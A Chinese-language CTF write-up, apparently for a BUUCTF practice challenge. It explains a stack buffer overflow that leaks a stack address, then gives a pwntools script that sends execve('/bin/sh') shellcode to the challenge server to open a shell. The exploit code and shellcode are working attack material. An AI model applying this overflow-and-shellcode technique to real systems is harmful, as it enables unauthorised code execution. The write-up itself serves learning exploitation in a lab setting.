这题啥保护没开
    image.png
    就两个函数,这就需要一定的汇编能力看出来这是干什么了

    1. char buf[20];
    2. write(1,buf,0x1c);
    3. read(0,buf,0x3c);

    汇编能就这个意思
    这里还有一个关键的地方就是
    push esp
    push offest_exit
    …………….
    add esp ,0x1c
    ret
    就是待会我们溢出到原来那个esp处,然后泄露,这个esp呢,调试一下就会知道是下一个地址里的内容
    泄露这个地址然后写进shellcode

    1. from pwn import*
    2. io = remote("node4.buuoj.cn",25751)
    3. io.recv()
    4. payload = b'a'*0x14 + p32(0x08048087)
    5. io.send(payload)
    6. stack_addr = u32(io.recv(4))
    7. log.success("stack:"+hex(stack_addr))
    8. shellcode = asm('xor ecx,ecx;xor edx,edx;xor eax,eax;mov al,0xb;xor ebx,ebx;mov ebx,esp;int 0x80;')
    9. payload = b'a'*0x14 + p32(stack_addr+0x14+0x8)+b'/bin/sh\x00'+shellcode
    10. io.send(payload)
    11. io.interactive()

    shellcraft没有用是因为read函数有限制范围
    p32(stack_addr+0x14+0x8)这句话是因为栈上的地址还要考虑那句add esp ,0x14